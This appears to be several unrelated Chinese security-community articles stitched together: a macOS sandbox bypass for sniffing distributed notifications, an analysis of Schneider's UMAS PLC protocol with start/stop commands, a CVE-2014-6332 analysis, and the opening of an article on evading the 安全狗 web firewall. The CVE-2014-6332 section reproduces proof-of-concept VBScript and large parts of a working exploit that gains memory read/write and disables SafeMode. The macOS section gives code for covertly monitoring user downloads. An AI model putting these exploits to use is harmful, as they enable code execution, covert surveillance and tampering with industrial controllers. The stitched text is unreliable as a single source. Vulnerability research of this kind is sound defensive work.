在正确设计和实现的沙箱的约束下，应用程序会在很多方面受到各种限制。例如，除了其他各种限制之外，应用程序不能任意访问用户文件（比如用户图片或下载文件）、捕获用户键盘输入信息或破坏操作系统。这真是极好的事情。
当然，任何沙箱在实现上都会有其缺陷，导致恶意应用程序能够完全“逃离”沙箱，或者虽然仍然在沙箱中，但可以绕过某些特定的沙箱约束。在这篇文章中，我们阐述的是后一种情况，也就是略微绕过Apple在“分布式通知”方面的沙箱限制，获取沙箱外部环境的一些信息，监控（某些）用户隐私操作和操作系统行为。
OSX/macOS允许应用或系统组件“跨越任务边界”来广播通知。由于这些事件通过`DistributedNotificationCenter`类进行广播，因此我们通常将其称为“分布式通知”。根据分布式通知类的[文档](https://developer.apple.com/documentation/foundation/distributednotificationcenter)中的描述，Apple声明此类是“一种通知调度机制，可以跨任务边界广播通知”。
更具体一点：
>
> `DistributedNotificationCenter`实例会广播`NSNotification`对象，将其广播到已注册到默认分布式通知中心的其他任务中的对象。
在下文中我们很快就会看到，一旦任何时候应用程序、程序和系统守护进程在全局广播各种通知，只要我们注册一个全局分布式通知监听器，就可以了解到关于系统以及用户的很多信息，这一点非常有趣。
为了全局注册以便接收所有分布式通知，我们只需调用`CFNotificationCenterAddObserver`函数，将`name`参数设置为`nil`即可（如下所示）。这样只要目标广播分布式通知，系统就会调用我们指定的回调函数。
代码如下所示，我们注册了一个全局分布式通知监听器（注意：`name`参数值为`nil`，表明我们想要监听所有通知）：
//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf,
const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
int main(int argc, const char * argv[])
{
//register for distributed notifications
// note: as name is nil, this means "all"
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback,
nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
[[NSRunLoop currentRunLoop] run];
return 0;
}
注意：我们也可以通过`NSDistributedNotificationCenter`方法来全局注册，以接收所有分布式通知：
- (void)addObserver:(id)observer
selector:(SEL)selector
name:(NSNotificationName)name
object:(NSString *)object
suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
如果我们编译并执行以下代码，就可以开始观察各种系统事件，例如屏幕锁定及解锁、屏幕保护程序启动及停止、蓝牙活动、网络活动和用户文件下载：
$ ./sniffsniff
2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked
2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501
2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked
2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501
2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch
2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart
2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: {
runFromPref = 0;
}
2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop
2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop
2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: {
runFromPref = 0;
}
2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan
2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc
2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished
2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
> 注意：`CFDictionaryRef userInfo`以及`const void
> *object`的值取决于具体通知。比如，对于`com.apple.DownloadFileFinished`通知，`object`参数会包含已下载的文件名。
按照Apple的设计，注册这样一个全局监听器并不需要特殊的权限，这一点非常好。但是，在沙箱的上下文中，系统显然不应该传递这类的通知（发送到沙箱的全局侦听器），因为至少从隐私的角度来看，这显然违反了沙箱隔离的基本概念。
## 0x02 沙箱中的分布式通知
Apple明确（并且正确地）认识到一点，从隐私（也可能是安全性）的角度来看，沙箱应用程序不应该能够获取全局分布式通知。因此，如果沙箱应用尝试注册全局分布式通知，那么操作系统沙箱应该严格阻止此操作：
$ ./sniffsniff
2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing.
Date/Time: Mon Nov 19 21:21:41 2018
OS Version: 18B75
Application: sniffsniff
Backtrace:
0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197
1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035
2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14
3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter
addObserver:selector:name:object:suspensionBehavior:] + 233
4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter
addObserver:selector:name:object:] + 29
5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
很好，看来Apple的macOS沙箱的确在尝试阻止（在沙箱中运行的）恶意应用程序全局嗅探分布式通知，如上输出和环境中的提示信息：`*** attempt
to register for all distributed notifications thwarted by sandboxing`。
那么是否一切正常？
不幸的是，事实与Apple公司的愿望相反。换句话说，这个机制并没有经过深思熟虑。虽然系统试图阻止从应用沙箱中接收（全局）分布式通知，但我们还是能找到解决办法，如下问所述。
## 0x03 在macOS沙箱中全局嗅探分布式通知
已打全补丁的Mojave系统（可能拓展到其他版本的macOS）无法充分阻止沙箱应用程序接收分布式通知（其中可能包含敏感信息）。尽管Apple会阻止这类应用程序注册全局接收分布式通知接收器（即将`name`参数设置为`nil`），但没有采取其他措施阻止沙箱应用通过名称（例如`com.apple.DownloadFileFinished`）来注册接收任何通知。
因此，恶意应用可以直接通过名称来注册任何（或者所有？）分布式通知，从而轻而易举地避开Apple对沙箱的限制。虽然这个操作需要一些额外的代码行，但最终任何应用程序都可以通过多次注册，接收（捕获）所有分布式通知，即使位于沙箱中也能完成这个任务！
我们来看一个例子。
假设恶意应用程序想要监视用户下载行为。如果恶意应用运行在macOS沙箱的上下文中，那么通常这是严格禁止的行为。这一点非常正常，根据定义，沙箱的功能就是提供隔离环境，保护用户的安全和隐私。
然而，通过名称来注册接收`com.apple.DownloadFileFinished`分布式通知，（沙箱）应用程序仍然可以秘密监视用户下载的所有文件：
首先，让我们确保我们的恶意应用程序（`sniffsniff`）的确在沙箱中运行：
然后，让我们编写一些代码来监听`com.apple.DownloadFileFinished`分布式通知：
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
NSString* name = @"com.apple.DownloadFileFinished";
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil,
callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}
从macOS沙箱中运行`sniffsniff`，可以发现即使是打全补丁的Mojave环境中，我们也能偷偷监控用户的下载行为：
./sniffsniff
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null)
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
>
> 注意：`com.apple.DownloadFileFinished`分发通知似乎仅会广播从用户浏览器下载的文件进。然而，这竟然包括以隐身模式下载的内容！
现在，重要的是要注意一点，虽然我们现在可以在沙箱中监视用户下载行为，但由于其他沙箱限制规则，我们实际上无法读取此类文件的内容，然而文件名本身可能已经告诉我们一些信息。
由于我们必须通过名称来注册每个通知（为了规避沙箱保护），那么问题来了，我们要如何确定感兴趣的通知的名称（即`com.apple.DownloadFileFinished`等）。虽然可能有一个
更全面的解决方案，但我选择简单的方法，为所有分布式通知安装一个全局监听器（当然这必须在沙箱之外完成），然后只需观察通知名称即可。返回沙箱环境，限制我们可以注册任何感兴趣的通知（通过名称技巧）。
虽然我们可以使用前文提供的代码，但这里我使用了[Digita
Security](https://digitasecurity.com/)提供的更为强大的功能：`MonitorKit`（即将发布的一个框架）。由于这个框架包含一个全局分布式通知的监视器，因此我们可以在几行代码中激活监视器，开始接收所有广播分发通知的名称：
import Cocoa
import MonitorKit
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
func applicationDidFinishLaunching(_ aNotification: Notification) {
//call into MonitorKit
// enable 'distributed notifications' monitor
let monitor = DistributedNotifcationsMonitor()
monitor.start() { event in
print("event: ", event.name.rawValue)
if let userInfo = event.userInfo {
print("event info: ", userInfo)
}
if let object = event.object {
print("event object: ", object)
}
}
}
}
> 注意：这是Swift代码。
执行此代码后，我们可以得到一些有趣的分布式通知（恶意沙箱应用程序可以注册这些通知来观察外部消息）：
* 新安装的应用：`com.apple.LaunchServices.applicationRegistered`
event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>(
com.objective-see.KnockKnock)
* 已打开的源代码文件：`com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification`
event info: [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
* 正在使用的应用：`com.apple.sharedfilelist.change`
event info: [AnyHashable("originatorAuditToken"): ]
event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat
event info: [AnyHashable("originatorAuditToken"): ]
event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
* 已加载的内核扩展：`Loaded Kext Notification`
KextArrayKey = (
"com.apple.message.bundleID" = "com.objective-see.lulu";
"com.apple.message.kextname" = "LuLu.kext";
"com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext";
"com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
* 已下载的文件：`com.apple.DownloadFileFinished`
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
* HID设备：`com.apple.MultitouchSupport.HID.DeviceAdded`
event info: [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
* 蓝牙设备：`com.apple.bluetooth.status`
event info: [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>(
{
ADDRESS = "60-c5-47-89-08-cc";
NAME = "Apple Trackpad";
"PRODUCT_ID" = 782;
"SNIFF_ATTEMPTS" = 2;
"VENDOR_ID" = 1452;
},
{
ADDRESS = "04-52-c7-77-0d-4e";
NAME = "Bose QuietComfort 35";
"PRODUCT_ID" = 16396;
"SNIFF_ATTEMPTS" = 1;
"VENDOR_ID" = 158;
},
{
ADDRESS = "34-88-5d-6b-5b-49";
NAME = "Logitech K811";
"PRODUCT_ID" = 45847;
"SNIFF_ATTEMPTS" = 1;
"VENDOR_ID" = 1133;
})
* 卸载卷（USB等）：`com.apple.unmountassistant.process.start`
event info: [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
> 注意：这并不是完整的分布式通知名称列表，大家可以继续挖掘。
## 0x04 总结
macOS沙箱的功能非常明确，就是用来防止沙箱应用程序深入了解用户和系统操作隐私数据。Apple清楚地意识到全局分布式通知监听器可能会破坏这些设计目标，因而会尝试阻止这类行为：
*** attempt to register for all distributed notifications thwarted by sandboxing.
不幸的是，Apple的尝试并没有真正起作用，因此无法避免这种情况（这种情况非常正常）。只要简单地使用名称来注册通知，沙箱应用程序就可以不断注册，最终接收（捕获）所有分布式通知。
使用这种方法，沙箱应用就可以违反核心沙箱原则，通过执行以下操作来破坏用户的隐私：跟踪新应用程序的安装、监视正在使用的各种文件和应用程序、跟踪已加载的文件夹、观察用户下载行为等等。
虽然如此，（从我个人角度来看）这个问题本身并不构成安全漏洞，但显然违反了macOS沙箱的设计目标，因此Apple肯定会再次尝试修复这个问题。 | 社区文章 |
# 浅析UMAS协议
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Nonattack
## 1、概述
UMAS (Unified Messaging Application Services)
统一消息传递应用程序服务，它是用于交换应用程序数据的平台独立协议，通信数据使用标准的Modbus协议。Modbus是Modicon公司在1979年开发的基于消息结构的协议，最早是为Modicon公司的PLC中使用，后为施耐德电气公司所有。Modbus协议是现今使用的最早和应用最广泛的工业控制系统协议之一，主要是用于和现场控制器通信的应用层协议，共有三种工作模式：Modbus/ASCII，Modbus/RTU，和Modbus/TCP。
Modbus协议标准是公开的，其众多功能码早已广为人知，在此不做赘述。但其标准文档中也提到了一些未公开、且为占用状态的功能码，90功能码（0x5A）即为其中一个，UMAS协议即为90功能码的Modbus。
UMAS协议为施耐德电气私有的、用于对其PLC产品进行配置和监控等操作，通过查阅，发现未有相关详细描述文档，因此，本文的主要目的即是对UMAS进行基本研究和归纳，不当之处望指正。UMAS协议的基本结构如下图所示：
## 2、UMAS协议功能码
UMAS协议即为0x5A功能码的Modbus协议，其通信数据在Wireshark中的识别情况如下图：
功能码全部显示为Unity(Schneider)(90)，那么，UMAS有功能码吗？进一步观察Data部分，在Wireshark中其隶属于Modbus部分且未能被详细解析，而恰好此部分即为UMAS所特有的，本节内容所讨论的UMAS功能码并非Modbus协议中的功能码，而是指UMAS特有部分中的功能码，其与PLC的各种配置，包括：PLC读、写、运行/停止、数据上传/下载等操作密切相关。
UMAS协议功能码的梳理与总结，源于对相关DLL文件的分析和对与PLC通信数据分析总结而来，测试中使用了Schneider M340
PLC，在没有PLC的情况下，可使用上位机软件Unity Pro XL(后来软件更名为EcoStruxure Control
Expert)自带的仿真器代替PLC进行通信。
安装Unity Pro软件后，通过对特定DLL文件进行分析，可以发现逆向源码中即对协议的名称描述即为UMAS，相关的对PLC特定操作亦可以快速定位到：
结合代码分析和通信数据，UMAS相关功能码和基本含义总结如下：
UMAS功能码
---
序号
|
功能码
|
含义
1
|
0x01
|
INIT_COMM
|
建立UMAS通信
2
|
0x02
|
READ_ID
|
请求PLC ID
3
|
0x03
|
READ_PROJECT_INFO
|
读取PLC中工程信息
4
|
0x04
|
READ_PLC_INFO
|
读取PLC内部信息
5
|
0x06
|
READ_CARD_INFO
|
读取PLC SD卡信息
6
|
0x0A
|
REPEAT
|
回传发送给PLC的数据
7
|
0x10
|
TAKE_PLC_RESERVATION
|
独占PLC
8
|
0x11
|
RELEASE_PLC_RESERVATION
|
释放PLC
9
|
0x12
|
KEEP_ALIVE
|
保持连接
10
|
0x20
|
READ_MEMORY_BLOCK
|
准备读取PLC内存块
11
|
0x22
|
READ_VARIABLES
|
以bit/word方式读系统变量
12
|
0x23
|
WRITE_VARIABLES
|
以bit/word方式写系统变量
13
|
0x24
|
READ_COILS_REGISTERS
|
读PLC的线圈/寄存器值
14
|
0x25
|
WRITE_COILS_REGISTERS
|
写PLC的线圈/寄存器值
15
|
0x26
|
ENABLE/DISABLE DATA DICTIONARY
|
启用/关闭数据字典功能
16
|
0x30
|
INITIALIZE_UPLOAD
|
初始化数据上传（From PLC）
17
|
0x31
|
UPLOAD_BLOCK
|
上传PLC数据
18
|
0x32
|
END_STRATEGY_UPLOAD
|
完成数据上传
19
|
0x33
|
INITIALIZE_DOWNLOAD
|
初始化数据下装（To PLC）
20
|
0x34
|
DOWNLOAD_BLOCK
|
下载数据到PLC
21
|
0x35
|
END_DOWNLOAD
|
完成数据下载
22
|
0x36
|
CREATE/RESTORE/REMOVE BACKUP
|
创建/恢复/删除内存卡中的数据备份
23
|
0x39
|
READ_ETH_MASTER_DATA
|
Read Ethernet Master Data
24
|
0x40
|
START_PLC
|
运行PLC
25
|
0x41
|
STOP_PLC
|
停止PLC
26
|
0x50
|
MONITOR_PLC
|
监视PLC变量
27
|
0x58
|
CHECK_PLC
|
检查PLC连接状态
28
|
0x70
|
READ_IO_OBJECT
|
读IO目标
29
|
0x71
|
WRITE_IO_OBJECT
|
写IO目标
30
|
0x73
|
GET_STATUS_MODULE
|
获取状态模块
## 3、UMAS协议数据分析
使用Unity Pro连接M340
PLC进行一些列操作，抓取通信过程数据，可对功能码进行对照分析。对于UMAS协议，有一点需要明确的是它是一种应/答式的通信协议：包含某种功能码的数据发送到PLC，PLC对请求解析后按照固定格式回应数据。UMAS的请求与响应数据基本格式如下所示：
请求：
[ TCP Packet ] – [ Modbus Header ] – [5A] – [ UMAS CODE (16 bit) ] [ UMAS
PAYLOAD (Variable) ]
响应：
[ TCP Packet ] – [ Modbus Header ] – [5A] – [ RETURN CODE (16 bit) ] [ UMAS
PAYLOAD (Variable) ]
[RETURN CODE]即为状态码部分，存在两种可能性：0x01 0xFE–意味着OK；
0x01 0xFD–意味着Error。
功能码0x01：建立通信，抓取的实际建立通信的数据将为：
响应数据包为：
功能码0x03：读取PLC中工程信息，抓取的实际建立通信的数据将为：
响应数据包为：
响应数据包的基本格式为：
[ TCP Packet ] – [ Modbus Header ] – [5A] – [ Response Code (16) ] – [ Unknown
(9 bytes) ] – [ Unknown 2 (9 bytes) ] –
[ Modification date (8 bytes) ] – [ Modification date Rep (8 bytes) ] – [
Project Version (16) ] – [ Unknown (16) ] –
[ Project Name length (8) – [ Project name (variable) ]
状态码之后连续两个9字节数据意义不明确，df 07按照小端数据换算过来即为2015，即工程修改时间为2015年；工程版本为0.0.01
功能码0x40/0x41：启动/停止PLC
启动PLC的请求数据为：
UMAS CODE部分为00 40，不同情况下使用01 40亦可以启动PLC运行（与PLC固件版本相关）。
相应的停止PLC的UMAS CODE部分为00 41或01 41均可。尝试对Schneider M340
PLC发送启/停数据包，验证数据格式及功能的可行性，如下所示:PLC被停止后，其run灯变为闪烁状态（并非熄灭）：
您的浏览器不支持video标签
结合对UMAS功能码的理解，尝试编写数据解析插件并对数据包解析，可得到如下效果：
请求数据包：
回复数据包：
## 4、总结
本文基于对施耐德组态软件Unity
Pro的关键DLL分析和对上位机与PLC通信数据分析，梳理总结了UMAS协议基本功能码，同时尝试编写Wireshark解析插件以方便数据包分析，验证了插件的可用性和数据的正确性。
## 参考资料：
[1] https://modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf
[2] <https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vulnerabilities-in-schneider-electric-somachine-and-m221-plc/>
[3] <https://www.lshack.cn/827/>
[4] https://www.cnblogs.com/zzqcn/p/4840589.html | 社区文章 |
## 0x01 漏洞信息
### 0x01.1 漏洞简述
* 编号：CVE-2014-6332
* 漏洞影响：远程代码执行(RCE)
* CVSS 2.0：9.3
`oleaut32.dll`中`SafeArrayRedim`在进行数组重新定义时未对传入参数`psaboundNew`进行有效校验，以致可以越界读写，进而造成任意代码执行。
### 0x01.2 漏洞影响
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2
SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2,
Windows RT Gold and 8.1
### 0x01.3 修复方案
[MS14-064](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064)
## 0x02 漏洞分析
### 0x02.1 分析环境
* OS版本：Windows 7 Service Pack 1
* Internet Explorer版本：8.0.7601.17514
* oleaut32.dll版本：6.1.7601.17514
* vbscript.dll版本：5.8.7601.17514
### 0x02.2 前置知识
请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。
### 0x02.3 详细分析
分析所用POC如下：
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
Dim arrayA()
Dim size
Dim over
size = &h5
over = &h8000000 + size
Redim Preserve arrayA(size)
Redim Preserve arrayA(over)
arrayA(size+1) = "Hello"
</script>
</body>
</html>
打开该POC，使用WinDbg附加调试，于`vbscript!RedimPreserveArray`函数处设断，允许阻止的内容：
执行到`call oleaut32.dll!SafeArrayRedim`处，跟进分析：
首先是判断传入参数`psa`与`psaboundNew`均不为空：
之后对`psa.fFeatures`，`psa.cDims`及`psa.cLocks`进行判断：
`call SafeArraySize`计算数组元素占用空间大小：
将`psaboundNew`写入`psa.rgsabound`中：
调整后数组：
计算调整后数组元素占用空间大小，减去原来数组元素占用空间大小：
由于此时`ebx=80000000`，故执行结果为负数指令分支 ：
`ole32!CRetailMalloc_Alloc`函数用于为`HeapAlloc`传递参数并调用之：
由于申请空间远远超过可分配空间大小，故分配失败，直接跳转到函数末返回错误值：
由此，便可实现任意地址读写。
下面来看看正常执行流程，修改POC如下：
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
Dim arrayA()
Dim size
Dim over
size = &h6
resize = &h4
Redim Preserve arrayA(size)
arrayA(0)="Jane"
arrayA(5)="Alan"
Redim Preserve arrayA(resize)
IsEmpty(arrayA)
</script>
</body>
</html>
调整后数组元素占用空间大小-原来数组元素占用空间大小=`0x50`-`0x70`=`ffffffe0`：
对其取相反数后申请如此大小空间：
之后将数组多余元素即`arrayA(5)—arrayA(6)`复制到此空间内：
`call ole32!CRetailMalloc_Realloc`重新分配堆块：
总结：
1. `SafeArrayRedim`函数在未重新分配空间之前便将`psaboundNew`写入`psa.rgsabound`，用以传递给`SafeArraySize`函数计算调整数组元素大小
2. `sub ebx, [ebp+Size]`及`test ebx, ebx`两条指令用于判断调整数组元素大小—原数组元素大小与零的关系，小于零/大于等于零进入不同分支处理
3. `neg [ebp+psaboundNew]`对调整数组元素大小与原数组元素大小差值取相反数，将其传递给`HeapAlloc`函数分配相应大小堆块
POC中`&h8000000`(该值经过`SafeArraySize`函数计算后为0x80000000)正是利用以上三点，实现任意地址读写——`test
ebx, ebx`与`jge`组合进行有符号数比较，`neg`对其取反仍为0x80000000。
### 0x02.4 利用分析
Exp来自[yuange](https://www.exploit-db.com/exploits/35229)。
第一部分：
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
Exit For
End If
Next
end function
......
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
'0x6f66 & 0xFFFFBFFF=0x2f66
If(type1=&h2f66) then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
通过循环不断重新定义数组，扩大数组规模，直至数组`aa`与`ab`于内存中相邻(准确 来说，二者相差8字节)：
`ab(0)=1.123456789012345678901234567890`，该值转换IEEE浮点数可通过[IEEE 754
Calculator](http://weitz.de/ieee/)计算：
如此一来，可通过`aa`数组访问`ab`数组元素(由`ab`起始位置偏移8字节)。`type1=&h2f66`判断是由于`GetVarType`函数返回前会将`vt`与`0xFFFFBFFF`作与运算：
第二部分：
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00) myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
.......
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
先来看`i=testaa`操作——将函数赋值给变量。简化版如下：
<!doctype html>
<html lang="en">
<head>
</head>
<body>
<script LANGUAGE="VBScript">
On Error Resume Next
sub testaa()
end sub
IsEmpty("Test")
i = testaa
i = null
</script>
</body>
</html>
于`vbscript!VbsIsEmpty`断下：
通过`ba w 2 1dc9e68`与`ba w 4 1dc9e68+8`两条指令对栈顶设断，第二次断下时，修改`vt`为`0x4C`：
第三次断下：
第四次断下，更改`vt`为`0x01`(`VT_NULL = 0x0001`)：
但其仍存储的是`vbscript!CScriptEntryPoint`对象，其后赋值给`i`。`On Error Resume
Next`在此处尤为重要，是否加入该语句执行情况对比：
未加入`On Error Resume Next`语句最终会调用`CSession::ReportError`：
而不会执行后续`i =
null`语句，感兴趣的读者可自行探索`CScriptRuntime::RunNoEH`函数，不在这里过多展开(该函数功能复杂，笔者仅是简单跟踪是否加入`On
Error Resume Next`语句的执行流)：
开启任意读写后执行`aa(a1)=i`：
`ab(0)=6.36598737437801E-314`：
`aa(a1+2)=myarray`：
`ab(2)=1.74088534731324E-310`：
关于此处的调试可于`vbscript!VbsIsEmpty`函数设断，配合如下修改：
'isempty(ab)
ab(0)=0
aa(a1)=i
'isempty("1")
ab(0)=6.36598737437801E-314
'isempty("2")
aa(a1+2)=myarray
'isempty("3")
ab(2)=1.74088534731324E-310
'isempty("4")
第一次断下后，可获得数组元素存储位置：
`mydata=aa(a1)`：
第三部分：
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
该函数功能用于读取参数`add`指向内存，关键函数是`cbLengthBstr`(具体请参考VBScript Scripting
Engine初探——0x05 LenB函数一节)。`ab(0)=1.69759663316747E-313`：
完成读取：
第四部分：
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
第一次读取结果见上文图片，`i=readmemo(i+16)`第二次读取：
该地址为`vbscript!COleScript`对象：
通过循环于该对象偏移`0x120`之后搜寻`0x0E`，该值用于检查是否处于SafeMode：
`aa(a1+2)`存储的是之前构造数组对象——`myarray`：
`myarray`起始地址为0，`rgsabound.cElements`为`0x7fff0000`，故可读写`vbscript!COleScript+0x170`处内容：
修改完成，进入GodMode，成功弹出notepad.exe。
## 0x03 参阅链接
* [Microsoft Docs——SAFEARRAY](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray) | 社区文章 |
# 全方位绕过安全狗2
### 前言
之前写过一篇绕过安全狗的文章后有表哥找我问了一些问题，我发现bypass可能是现在安全表哥们必不可少的一项技能了。
安服过程中也常常能遇到安全狗,在不允许深挖的情况下只要能证明漏洞存在就算交差了，于是就有了今天这样一篇从头到尾绕过安全狗的文章。文章技术点不多，全当给各位表哥做个参考吧。
### Docker搭建安全狗环境
win服务器的安全狗版本没有变化,去官网下了新版的安装包也没变化,就搭建linux版本的吧。
docker run -it -d --name mysql_dev -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.6 --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
# mysql
docker run -d -it -p 80:80 --link mysql_dev -v $(pwd):/var/www/html centos:7 /bin/bash
# 其实我一直都是用ubuntu的 只是安全狗的环境在ubuntu上起不来 只好换centos啦
yum -y update
yum -y install httpd python mysql vim
